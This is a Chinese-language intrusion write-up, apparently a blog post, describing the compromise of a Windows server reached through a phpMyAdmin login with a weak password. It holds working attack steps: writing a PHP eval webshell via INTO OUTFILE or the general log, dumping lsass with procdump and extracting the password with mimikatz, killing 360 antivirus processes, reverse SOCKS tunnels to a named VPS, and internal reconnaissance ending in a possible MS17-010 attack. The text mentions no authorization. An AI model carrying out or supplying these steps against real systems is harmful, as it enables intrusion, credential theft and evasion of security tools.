点击阅读
直接弱口令进入 phpmyadmin,满满的都是敏感数据
先收集一下信息
0x01 信息搜集
MySQL 版本:
1 | SELECT @@version; |
OS 版本
1 | SELECT @@version_compile_os |
MySQL 绝对路径, 可借此推测 web 路径:
1 | SELECT @@basedir |
看能不能利用 phpmyadmin 报错,爆 web 根目录
1 | /phpmyadmin/libraries/lect_lang.lib.php |
查看数据导入和导出限制,若其值为 NULL,则不允许导入导出
1 | show global variables like 'secure_file_priv' |
1 | SELECT IF( ( |
官方文档:
secure_file_priv may be set as follows:
If empty, the variable has no effect. This is not a secure setting.
If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server will not create it.
If set to NULL, the server disables import and export operations.
secure_file_priv 这个值为只读变量,只能通过配置文件修改.
如果为空,变量无效。
如果设置为目录名,服务器将导入和导出操作限制为仅处理该目录中的文件。目录必须存在;服务器不会创建它。
如果设置为空,服务器将禁用导入和导出操作。
修改方法: 在mysql 配置文件的 [mysqld] 内加入secure_file_priv
0x02 利用
很幸运,这里 secure_file_priv 的值是空,但是还不知道 web 根目录,无法确定 shell 路径,不过根据上面获取的 @@basedir
再根据网站域名盲猜一下成功读取到写入的测试文件
into outfile
写 shell
1 | SELECT '<?php @eval($_REQUEST[1]); ?>' |
如果 secure_file_priv 的值为 NULL,在数据导入导出限制的情况下可以利用 log 日志写 shell,条件是需要 mysql 的 root 用户
1 | set global general_log = "ON"; # 开启 |
0x03 深入
net config Workstation
// 获取当前计算机名,全名,用户名,系统版本,工作站域,登陆域
Administrator 很舒服,但是 tasklist /svc
列进程能够看到 ZhuDongFangYu.exe 和 多个 360*.exe
调整下蚁剑的超时时间,不然稍大一点的文件就很难传上去了
pwdump7 抓 Administrator 的 hash
其中
用户名称为:Administrator
RID为:500 后面跟着 LM-HASH值 和 NT-HASH值
拿着 hash 去 Objectif Sécurité - Ophcrack, cmd5 之类的网站爆一波
奈何破解不了
想到 p0desta 表哥一篇 记一次有趣的渗透
使用官方免杀的 procdump.exe 导出lsass进程的内存数据,再配合 mimikatz 本地抓取密码
procdump.exe -accepteula -ma lsass.exe -o crack.dmp
下载下来,拿出封存已久的 mimikatz
抓取密码:
1 | mimikatz.exe |
这就拿到了 Administrator 的密码,因为这个 windows 只有一个内网 IP,但是发现开了 3389,外部虽无法直接连接,但是可以通过端口转发建立代理连接
几个代理工具
1. lcx & portmap
windows:
lcx.exe -slave vps 7777 127.0.0.1 3389
vps:
./portmap -m 2 -p1 7777 -p2 8888
会被 360 查杀
2. EarthWorm
windows:
ew_for_Win.exe -s rssocks -d 152.136.210.126 -e 8888
vps:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
这个 ew_for_linux64 会被腾讯云标记为木马文件,ew_for_Win.exe 测试在这个装有 360 的机器上运行直接被删掉
3. reGeorg
放上 tunnel.nosocket.php 后进行连接,或者是用这个PHP 一句话版 reGeorg for PHP One-line Shell,接着本地用 proxifier 配置 socks 代理
然后它就卡在了这个地方,接着自动退出,有空再分析下原因
这里 lcx、EarthWorm 都遭到了 360 的拦截,网上的免杀 Lcx.exe 也无济于事,reGeorg 也不能很好的工作
使用 taskkill 结束 360 相关进程,但是一般来说 ZhuDongFangYu.exe 和 360 部分进程还是杀不掉的,需在 360 设置里手动关闭,用 ntsd.exe 也不行
1 | taskkill /im 360* /t /f |
sSocks
360 还是有漏网之鱼,最终使用 ssocks 成功建立代理。。
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试。官方地址:http://sourceforge.net/projects/ssocks/
vps:
1 | wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz |
windows 7:
1 | rssocks.exe -s vps:1234 |
在本地使用 socks 代理工具配置代理, 成功
这台机器只有一个 工作站域 WorkGroup
net view /domain
查看也只有 WORKGROUP
net view
//用来查看跟本机有关联的机器名
有个 GAOJIGUANLIYUAN
不知怎么的,这机器上并没有 nbtstat,先 arp -a
列出本网段内所有活跃的IP地址,IP 不多,屈指可数,再通过 ping -n 1 -a ip
查看 ip 的机器名,成功找的 GAOJIGUANLIYUAN 的 ip 地址
该机还装有 TeamViewer,连接列表其中一个远程主机还有一个没有密码的非管理员账户
然后神奇的发现那个 GAOJIGUANLIYUAN 不见了,比较遗憾 (第二天又有了,难道当时下班了?)
采用编译的方式安装 proxychains 代理 nmap 对远程内网主机进行扫描,这里有个坑,如果用 brew 安装的 proxychains 会出错
1 | git clone https://github.com/rofl0r/proxychains-ng |
看样子可以使用 MS17_010